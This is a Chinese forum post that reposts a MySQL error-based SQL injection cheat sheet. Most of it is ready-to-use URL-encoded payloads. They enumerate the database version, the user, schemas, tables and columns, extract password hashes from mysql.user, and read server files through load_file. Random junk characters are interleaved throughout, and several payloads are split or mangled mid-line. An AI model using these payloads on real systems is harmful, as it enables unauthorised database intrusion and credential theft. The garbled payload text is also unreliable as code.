找回密码
 立即注册
查看: 2848|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
9 Y; L0 Z+ D2 u2 Z/ E7 R4 y7 }" h) k1 J4 x/ f  o0 V' k5 L
8 X1 b% D; z1 E$ w' y: k3 f( ^  r
Mysql暴错注入参考(pdf),每天一贴。。。8 l; S0 g* m4 m) f6 d
1 A% c% E. {; |( I7 w2 {* |
MySql Error Based Injection Reference
1 O# X$ d8 c4 t5 X4 m# `3 i3 |, d. s" J[Mysql暴错注入参考]+ k9 y0 s3 \+ C  _( ~" H6 L: b7 T# A7 k
Authornig0s1992/ E  U; D! R  x% N4 V, Z: C% T
Blog:http://pnig0s1992.blog.51cto.com/
  [" F+ ^" J# c# n, [TeAm:http://www.FreeBuf.com/
: r0 b8 z( y1 K8 ]Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
1 |, y# T6 ~3 S6 L- ]0 }% L小部分版本使用name_const()时会报错.可以用给出的Method.2测试5 y7 ?& O6 L% P8 U  @3 G# [
查询版本:% q+ ?$ X; ?2 C# n
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+0 K! N0 c6 H3 U% e9 L+ f
join+(select+name_const(@@version,0))b)c)
4 g9 D  g  X' \  RMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro6 v2 p2 d# k" ]5 ~
up by a)b); Y/ n+ D* f1 U. g! {3 O: K
查询当前用户:
' O( |- g. J3 n7 f- CMethod.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c); Q$ N& j* I& ^) R
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
  j& j+ T, F7 F' `- D$ q. aand(0)*2))x+from+information_schema.tables+group+by+x)a)+ J8 ?) D% ?# V' [" @# t
查询当前数据库:  u( ~. u/ v+ F1 Q  z: M5 L7 {7 ^7 A" D
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
8 T* g4 J* a4 M" G" E8 h$ K, v5 YMethod.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo- {# X& K  z8 h$ [8 z( _
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
$ J  o# a' y( [) b: R9 U* ]依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+% R5 w; O% D2 |' s- S; {5 O
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n- ]9 v: `# s9 M/ c9 j
顺序替换+ @2 v) N) s* N8 ~
爆指定库数目:2 X$ i7 y2 \/ }0 a% v% c
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t5 e8 ]7 G' B/ Z' o* A
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group" N7 J! E* V! h( P. i
+by+x)a)+and+1=1 0x6D7973716C=mysql
2 i% d1 H2 e5 F; V$ x9 R依次爆表:
; v1 t" F3 O5 S! [9 A2 Pand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
5 J% ?: B: |, `2 E3 K$ `. o6 Z& nable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
: j+ Y; V/ ?$ L% \bles+group+by+x)a)+and+1=1
) y9 B( g% U$ R) Z: i9 j" b  G0x6D7973716C=Mysql 将n顺序替换
0 G! J% i1 o. t/ h爆表内字段数目:
* C: A* c; L% X6 N8 W7 T6 F: \* Rand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
6 s6 _' @8 _+ u5 v0 v8 l+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
" d( i# `$ y) A3 t  w1 E# m7 A( Z0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
0 o  f8 O5 {' N) B依次爆字段:8 e0 {' m4 I. V6 ^% N7 S
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where$ ^! q& K  A, T
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,18 q# c; [! J3 s( p& o
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
8 u9 P" L+ o" v2 J9 i依次暴内容:0 P0 x  J# V! G& l; Q  |8 I1 Y5 I& b2 ^2 |
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche: `8 J: H% P  m5 r! P/ E
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
% I% Z& i( ]7 V- V+ v# I将n顺序替换
3 e  o9 k% \) ?, ^% a爆文件内容:
! S3 v. V. z- ?/ e  M% O$ O# |; Hand+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
8 `; Z! x+ U2 r7 M) \from+information_schema.tables+group+by+a)b)
) U( o# b3 z2 k! `4 G( z2 _0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
* A5 _" {: U8 OThx for reading.' S0 O6 U8 ^. v5 @2 U2 Y1 F
' v" W( {$ e3 X2 f1 a
不要下载也可以,
6 N1 |- H! T6 |" {$ H1 L

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表